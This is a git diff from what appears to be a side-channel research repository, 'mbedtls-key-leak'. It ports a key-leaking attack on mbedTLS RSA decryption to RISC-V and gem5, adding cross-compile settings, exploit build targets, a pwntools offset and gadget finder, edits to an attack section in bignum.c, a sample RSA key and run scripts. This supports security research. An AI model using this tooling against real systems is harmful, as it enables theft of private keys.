diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000..20b26bd --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,5 @@ +{ + "files.associations": { + "ctr_drbg.h": "c" + } +} \ No newline at end of file diff --git a/mbedtls-key-leak/Makefile b/mbedtls-key-leak/Makefile index cc5132c..3f5c547 100644 --- a/mbedtls-key-leak/Makefile +++ b/mbedtls-key-leak/Makefile @@ -1,28 +1,34 @@ CPU_NO_ATTACKER=0 CPU_NO_VICTIM=1 +CC=riscv64-unknown-linux-gnu-gcc +AR=riscv64-unknown-linux-gnu-ar +LD=riscv64-unknown-linux-gnu-ld + +export PATH := /home/yx/FIMITEE/FIMITEE/riscv64/bin:$(PATH) + all: encrypt decrypt exploit exploit2 exploit-fr-parallel exploit-fr-sequential encrypt: encrypt.c - gcc -Lmbedtls/library -Imbedtls/include encrypt.c -ggdb3 -Wall -o encrypt -lmbedtls + $(CC) -Lmbedtls/library -Imbedtls/include encrypt.c -ggdb3 -Wall -o encrypt -lmbedtls decrypt: decrypt.c - gcc -Lmbedtls/library -Imbedtls/include decrypt.c -ggdb3 -Wall -o decrypt -lmbedtls + $(CC) -Lmbedtls/library -Imbedtls/include decrypt.c -ggdb3 -Wall -o decrypt -lmbedtls decrypt-simulator: decrypt-simulator.c - gcc -Lbp-simulator/library -Ibp-simulator/include decrypt-simulator.c -ggdb3 -Wall -o decrypt-simulator -lmbedtls + $(CC) -Lbp-simulator/library -Ibp-simulator/include decrypt-simulator.c -ggdb3 -Wall -o decrypt-simulator -lmbedtls exploit: exploit.c simulator.c - gcc -Lmbedtls/library -Imbedtls/include simulator.c exploit.c -ggdb3 -Wall -Os -o exploit -lmbedtls + $(CC) -Lmbedtls/library -Imbedtls/include simulator.c exploit.c -ggdb3 -Wall -Os -o exploit -lmbedtls exploit2: exploit2.c - gcc -Lmbedtls/library -Imbedtls/include exploit2.c -ggdb3 -Wall -Os -o exploit2 -lmbedtls + $(CC) -Lmbedtls/library -Imbedtls/include exploit2.c -ggdb3 -Wall -Os -o exploit2 -lmbedtls exploit-fr-parallel: exploit_flush_reload_parallel.c - gcc -Lmbedtls/library -Imbedtls/include exploit_flush_reload_parallel.c -ggdb3 -Wall -Os -o exploit-flush-reload-parallel -lmbedtls + $(CC) -Lmbedtls/library -Imbedtls/include exploit_flush_reload_parallel.c -ggdb3 -Wall -Os -o exploit-flush-reload-parallel -lmbedtls exploit-fr-sequential: exploit_flush_reload_sequential.c - gcc -Lmbedtls/library -Imbedtls/include exploit_flush_reload_sequential.c -ggdb3 -Wall -Os -o exploit-flush-reload-sequential -lmbedtls + $(CC) -Lmbedtls/library -Imbedtls/include exploit_flush_reload_sequential.c -ggdb3 -Wall -Os -o exploit-flush-reload-sequential -lmbedtls run_encrypt: encrypt LD_LIBRARY_PATH=./mbedtls/library taskset -c ${CPU_NO_VICTIM} ./encrypt diff --git a/mbedtls-key-leak/__pycache__/get_offsets.cpython-36.pyc b/mbedtls-key-leak/__pycache__/get_offsets.cpython-36.pyc new file mode 100644 index 0000000..b0341e5 Binary files /dev/null and b/mbedtls-key-leak/__pycache__/get_offsets.cpython-36.pyc differ diff --git a/mbedtls-key-leak/attack_offsets.h b/mbedtls-key-leak/attack_offsets.h new file mode 100644 index 0000000..07d08f3 --- /dev/null +++ b/mbedtls-key-leak/attack_offsets.h @@ -0,0 +1,8 @@ +// generated by build.py +#ifndef ATTACK_OFFSETS_H +#define ATTACK_OFFSETS_H + +#define MPI_EXP_MOD_OFFSET 0x1d000 +#define ONE_OFFSET 0x1d78e + +#endif /* !ATTACK_OFFSETS_H */ diff --git a/mbedtls-key-leak/decrypt b/mbedtls-key-leak/decrypt new file mode 100755 index 0000000..23df4f4 Binary files /dev/null and b/mbedtls-key-leak/decrypt differ diff --git a/mbedtls-key-leak/encrypt b/mbedtls-key-leak/encrypt new file mode 100755 index 0000000..8c63b43 Binary files /dev/null and b/mbedtls-key-leak/encrypt differ diff --git a/mbedtls-key-leak/get_offsets.py b/mbedtls-key-leak/get_offsets.py index 3dc2e26..b256e3c 100755 --- a/mbedtls-key-leak/get_offsets.py +++ b/mbedtls-key-leak/get_offsets.py @@ -3,12 +3,12 @@ from pwn import * -#LIB = "./mbedtls/library/libmbedtls.so" -LIB = "./libmbedtls.so.8" +LIB = "./mbedtls/library/libmbedtls.so.8" +# LIB = "./libmbedtls.so.8" def get_offsets(libpath): context.log_level = 'error' - context.arch = 'riscv' + context.arch = 'riscv64' e = ELF(LIB) ctr_drbg_init_offset = e.functions['ctr_drbg_init'].address print(f"[+] CTR_DRBG_INIT_OFFSET @ 0x{ctr_drbg_init_offset:x}") @@ -17,8 +17,10 @@ def get_offsets(libpath): print(f"[+] MPI_EXP_MOD_OFFSET @ 0x{mpi_exp_mod_offset:x}") # c.nop, c.nop, c.nop, c.nop, unimpl, c.nop - pattern_bytes = b"\x01\x00\x01\x00\x01\x00\x01\x00\x00\x00\x01\x00" - + # pattern_bytes = b"\x01\x00\x01\x00\x01\x00\x01\x00\x00\x00\x01\x00" + # c.nop, c.nop, c.nop, c.nop, c.ret, c.nop + pattern_bytes = b"\x01\x00\x01\x00\x01\x00\x01\x00\x82\x80\x01\x00" + # pattern_bytes = b"\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00" patterns_found = e.search(pattern_bytes, executable=True) one_offset = next(patterns_found, None) if one_offset is None: diff --git a/mbedtls-key-leak/log_decrypt b/mbedtls-key-leak/log_decrypt new file mode 100644 index 0000000..e69de29 diff --git a/mbedtls-key-leak/log_encrypt b/mbedtls-key-leak/log_encrypt new file mode 100644 index 0000000..e69de29 diff --git a/mbedtls-key-leak/mbedtls/Makefile b/mbedtls-key-leak/mbedtls/Makefile index 808290d..8e11528 100644 --- a/mbedtls-key-leak/mbedtls/Makefile +++ b/mbedtls-key-leak/mbedtls/Makefile @@ -1,4 +1,8 @@ +CC=riscv64-unknown-linux-gnu-gcc +AR=riscv64-unknown-linux-gnu-ar +LD=riscv64-unknown-linux-gnu-ld + DESTDIR=/usr/local PREFIX=mbedtls_ OLDPREFIX=polarssl_ diff --git a/mbedtls-key-leak/mbedtls/library/Makefile b/mbedtls-key-leak/mbedtls/library/Makefile index 952b9d3..260ba73 100644 --- a/mbedtls-key-leak/mbedtls/library/Makefile +++ b/mbedtls-key-leak/mbedtls/library/Makefile @@ -4,6 +4,11 @@ # To compile on MinGW: add "-lws2_32" to LDFLAGS or define WINDOWS in your # environment # +CC=riscv64-unknown-linux-gnu-gcc +AR=riscv64-unknown-linux-gnu-ar +LD=riscv64-unknown-linux-gnu-ld +export PATH := /home/yx/FIMITEE/FIMITEE/riscv64/bin:$(PATH) + SHARED=true CFLAGS += -I../include -D_FILE_OFFSET_BITS=64 -Wall -W -Wdeclaration-after-statement OFLAGS = -O2 diff --git a/mbedtls-key-leak/mbedtls/library/bignum.c b/mbedtls-key-leak/mbedtls/library/bignum.c index b496120..8399052 100644 --- a/mbedtls-key-leak/mbedtls/library/bignum.c +++ b/mbedtls-key-leak/mbedtls/library/bignum.c @@ -33,6 +33,7 @@ #include #include #include "../../attack_offsets.h" +#define RISCRET ////////////////////////////////////////////////////////////////////////////////// #endif #if !defined(POLARSSL_CONFIG_FILE) @@ -1533,13 +1534,19 @@ static void mpi_montred( mpi *A, const mpi *N, t_uint mm, const mpi *T ) // BEGIN ATTACK // -#ifndef RISCRET +// #ifndef RISCRET +// static inline size_t rdinstret() { +// size_t val; +// asm volatile("rdinstret %0" : "=r"(val)); +// return val; +// } +// #endif + + static inline size_t rdinstret() { size_t val; asm volatile("rdinstret %0" : "=r"(val)); - return val; -} -#endif + return val;} static jmp_buf trycatch_buf; void unblock_signal(int signum __attribute__((__unused__))) { @@ -1612,6 +1619,17 @@ void instant_ret() { return; } +#ifdef RISCRET +int print_riscret(){ +printf("RISCRET IS DEFINED\n"); + +} +#else +int print_riscret(){ +printf("RISCRET IS NOT DEFINED\n"); +} +#endif + #ifdef RISCRET int flush_reload_t(void *ptr) { uint64_t s1 = 0, s2 = 0; @@ -1645,11 +1663,13 @@ size_t CACHE_MISS = -1; #ifdef RISCRET //#define ONE_OFFSET 0x1b7c2 // for scifive -#define ONE_OFFSET 0x1b7a0 // for allwinner +// #define ONE_OFFSET 0x1b7a0 // for allwinner +#define ONE_OFFSET 0x1d78e// for gem5 #endif size_t bit_idx = 0; FILE* fd; void attacker(int ei) { +// print_riscret(); size_t mbedtls_libbase = (size_t) (mpi_exp_mod) - MPI_EXP_MOD_OFFSET; if (mbedtls_libbase & 0xfff != 0) { printf("offsets are wrong\n"); diff --git a/mbedtls-key-leak/mbedtls/programs/Makefile b/mbedtls-key-leak/mbedtls/programs/Makefile index ba8dd31..712cbf9 100644 --- a/mbedtls-key-leak/mbedtls/programs/Makefile +++ b/mbedtls-key-leak/mbedtls/programs/Makefile @@ -3,6 +3,10 @@ # To compile on MinGW: add "-lws2_32" to LDFLAGS or define WINDOWS in your env # To compile with PKCS11: add "-lpkcs11-helper" to LDFLAGS +CC=riscv64-unknown-linux-gnu-gcc +AR=riscv64-unknown-linux-gnu-ar +LD=riscv64-unknown-linux-gnu-ld + CFLAGS += -I../include -D_FILE_OFFSET_BITS=64 -Wall -W -Wdeclaration-after-statement OFLAGS = -O2 LDFLAGS += -L../library -lmbedtls $(SYS_LDFLAGS) diff --git a/mbedtls-key-leak/rsa_priv.txt b/mbedtls-key-leak/rsa_priv.txt new file mode 100644 index 0000000..e48fd16 --- /dev/null +++ b/mbedtls-key-leak/rsa_priv.txt @@ -0,0 +1,8 @@ +N = B6FC85A63039A701338728076488E209E1466EA680FF7ACD980D82A2A4FBC9CE0E3D244CD97E00AEF7C4EB86A54D1B83CAEF414DB798608BA5110171626A25B5CC9AF002F16B59C97A327A028BAD7753BAF640340DB1C4CF3C30A8BB04E4E26089B4F876FDFDD3E7DA0F73764D5DB0AA64E3EB8586A6BCF6140302477FF656B6AC9235959CB4F4A43D1A41B5E9856F270629F2294E375ABBCBACAE8DA06B23C72EFB4C226FEE998A7DEFEC998A7FA8F9CAB47E37B48191AC9CFA7DDE46C3B318378A9F828A5906D3D52E3600CE313B4FE2C9D4F1C7FE4B9987F7A19ACA12F2F62BB773F0FD42FA005AF8D795FCF5A6CAC2D95106DB835F213FFDF1ABC80CCC63 +E = 010001 +D = AB612EBB4B87738688801959732B50A8F8384301E6E76058960471496B43F6E9EA24118F7853AEC8307E5A28AD40DE783CE480410DA6C52584DFBC7E393239475FEDECC494DF7A245D32515B78FE6A381D6EED0AD3989F3F889BFA2BCE959FFFD279900BC22EACFD051A5B857D4836622043E71E13D2AE3FBAD66698189CDAF07A04C9E1A70F165312A44A02F0AACB8AA6F62C15F5BA0793E3DCF1032E2427228A060463D88BE7ABBF9087C3559B0FF53A733A51CDCA83DD2D01BFBFB014130BBE5A09CF82B67B6B359E1943813C5962D3780B2C372521FA0F6F5679E1148684B8F0DBC9BFED368AA05BC6234EB4E56B879C30CF191F46D8FD411449241FD241 +P = FB8E1FE3DFDAA9AC578B721EC9364903C4D6E54260E790241CE40CB7CA009B7316AFA0435ADAA49AAA96293C322E789F561D5DBC66BEE57B5B7E8267DBB3EE67BD17688EC53E08AB6FB78084A6DEA19E65A091A769AC75FC0A4AAD57A150519F1DCDEF26098AA8C53F10E87EEF86E00E9069A8AD19EAAC27622B6355FAA97D2B +Q = BA383C70495A7EE06FBA914CA46E541C2346645A840246E3A480E8920EE84CCF24C164981364DE4420B556B586809422060C123AE835BEA9672023B224D8114C5BA99DFACED708C2D7C51712D720D741C27341E79CC223B1DF21B18AC7F064ACF508031AF2B0A202ACD6680B9ABC8D3E6FC38DF1C7AD04E364E55162100401A9 +DP = 55E13195F4488C809FEAA56D493855390A2C6B5C7C04D23AE1FA213565AB4B66C129F846C66FBA9E6AFA94DD4E2C7B55BA6A9023CFD800345B0A17AF295C8659B83E939D9A4D115CA5E939E10FAF15F223B3EBC601D7B4F7F4F385B653063EB759CF8283B3E238B80E4DD171F4885159E7878AE47DE2961F63EE781D545424BD +DQ = 8C11A6AC531085A4AD85A8AAFC779C3E79EE05A7EBE98686CE02C46CB057DD0666402D39124569C5D6D06F8324C36C28D7619708C6073EFD4EFB66BE25667C447221F81962216E8E981BC04A44948835075D08727D7FADB7A9FD3EFD037CF74CFD15E4B80D59FCD2844CD57FFD08DC38DD7A3B376498E8B75DF9FB2806A1ECD9 +QP = AB3842DA452AA07DF453E3AF188F49C28D96A368F05AA5D158B8D65D3775A2004FDF5D66C4B26D606F5F45653BFE686552CE249EE38816F783B72922D5D49FF754C6F8D2017F8C407034687859CA824CAF3B67CC5290F37D684D992D0D03C62506ADFC2383B6AA79B6CA06687F6EED8C77B03996FFB0057076BFA8F941862D74 diff --git a/mbedtls-key-leak/rsa_pub.txt b/mbedtls-key-leak/rsa_pub.txt new file mode 100644 index 0000000..e48fd16 --- /dev/null +++ b/mbedtls-key-leak/rsa_pub.txt @@ -0,0 +1,8 @@ +N = B6FC85A63039A701338728076488E209E1466EA680FF7ACD980D82A2A4FBC9CE0E3D244CD97E00AEF7C4EB86A54D1B83CAEF414DB798608BA5110171626A25B5CC9AF002F16B59C97A327A028BAD7753BAF640340DB1C4CF3C30A8BB04E4E26089B4F876FDFDD3E7DA0F73764D5DB0AA64E3EB8586A6BCF6140302477FF656B6AC9235959CB4F4A43D1A41B5E9856F270629F2294E375ABBCBACAE8DA06B23C72EFB4C226FEE998A7DEFEC998A7FA8F9CAB47E37B48191AC9CFA7DDE46C3B318378A9F828A5906D3D52E3600CE313B4FE2C9D4F1C7FE4B9987F7A19ACA12F2F62BB773F0FD42FA005AF8D795FCF5A6CAC2D95106DB835F213FFDF1ABC80CCC63 +E = 010001 +D = AB612EBB4B87738688801959732B50A8F8384301E6E76058960471496B43F6E9EA24118F7853AEC8307E5A28AD40DE783CE480410DA6C52584DFBC7E393239475FEDECC494DF7A245D32515B78FE6A381D6EED0AD3989F3F889BFA2BCE959FFFD279900BC22EACFD051A5B857D4836622043E71E13D2AE3FBAD66698189CDAF07A04C9E1A70F165312A44A02F0AACB8AA6F62C15F5BA0793E3DCF1032E2427228A060463D88BE7ABBF9087C3559B0FF53A733A51CDCA83DD2D01BFBFB014130BBE5A09CF82B67B6B359E1943813C5962D3780B2C372521FA0F6F5679E1148684B8F0DBC9BFED368AA05BC6234EB4E56B879C30CF191F46D8FD411449241FD241 +P = FB8E1FE3DFDAA9AC578B721EC9364903C4D6E54260E790241CE40CB7CA009B7316AFA0435ADAA49AAA96293C322E789F561D5DBC66BEE57B5B7E8267DBB3EE67BD17688EC53E08AB6FB78084A6DEA19E65A091A769AC75FC0A4AAD57A150519F1DCDEF26098AA8C53F10E87EEF86E00E9069A8AD19EAAC27622B6355FAA97D2B +Q = BA383C70495A7EE06FBA914CA46E541C2346645A840246E3A480E8920EE84CCF24C164981364DE4420B556B586809422060C123AE835BEA9672023B224D8114C5BA99DFACED708C2D7C51712D720D741C27341E79CC223B1DF21B18AC7F064ACF508031AF2B0A202ACD6680B9ABC8D3E6FC38DF1C7AD04E364E55162100401A9 +DP = 55E13195F4488C809FEAA56D493855390A2C6B5C7C04D23AE1FA213565AB4B66C129F846C66FBA9E6AFA94DD4E2C7B55BA6A9023CFD800345B0A17AF295C8659B83E939D9A4D115CA5E939E10FAF15F223B3EBC601D7B4F7F4F385B653063EB759CF8283B3E238B80E4DD171F4885159E7878AE47DE2961F63EE781D545424BD +DQ = 8C11A6AC531085A4AD85A8AAFC779C3E79EE05A7EBE98686CE02C46CB057DD0666402D39124569C5D6D06F8324C36C28D7619708C6073EFD4EFB66BE25667C447221F81962216E8E981BC04A44948835075D08727D7FADB7A9FD3EFD037CF74CFD15E4B80D59FCD2844CD57FFD08DC38DD7A3B376498E8B75DF9FB2806A1ECD9 +QP = AB3842DA452AA07DF453E3AF188F49C28D96A368F05AA5D158B8D65D3775A2004FDF5D66C4B26D606F5F45653BFE686552CE249EE38816F783B72922D5D49FF754C6F8D2017F8C407034687859CA824CAF3B67CC5290F37D684D992D0D03C62506ADFC2383B6AA79B6CA06687F6EED8C77B03996FFB0057076BFA8F941862D74 diff --git a/mbedtls-key-leak/run_decrypt_100.sh b/mbedtls-key-leak/run_decrypt_100.sh new file mode 100755 index 0000000..0c3273b --- /dev/null +++ b/mbedtls-key-leak/run_decrypt_100.sh @@ -0,0 +1,12 @@ +#!/bin/bash +rm key_leak.log +export LD_LIBRARY_PATH=$PWD/mbedtls/library:$LD_LIBRARY_PATH + +for i in $(seq 1 100); do + echo "Running decrypt: $i / 100" + ./decrypt +done + +echo "All done." + +cat key_leak.log diff --git a/mbedtls-key-leak/run_decrypt_3.sh b/mbedtls-key-leak/run_decrypt_3.sh new file mode 100755 index 0000000..a1e9caa --- /dev/null +++ b/mbedtls-key-leak/run_decrypt_3.sh @@ -0,0 +1,12 @@ +#!/bin/bash +rm key_leak.log +export LD_LIBRARY_PATH=$PWD/mbedtls/library:$LD_LIBRARY_PATH + +for i in $(seq 1 3); do + echo "Running decrypt: $i / 100" + ./decrypt +done + +echo "All done." + +cat key_leak.log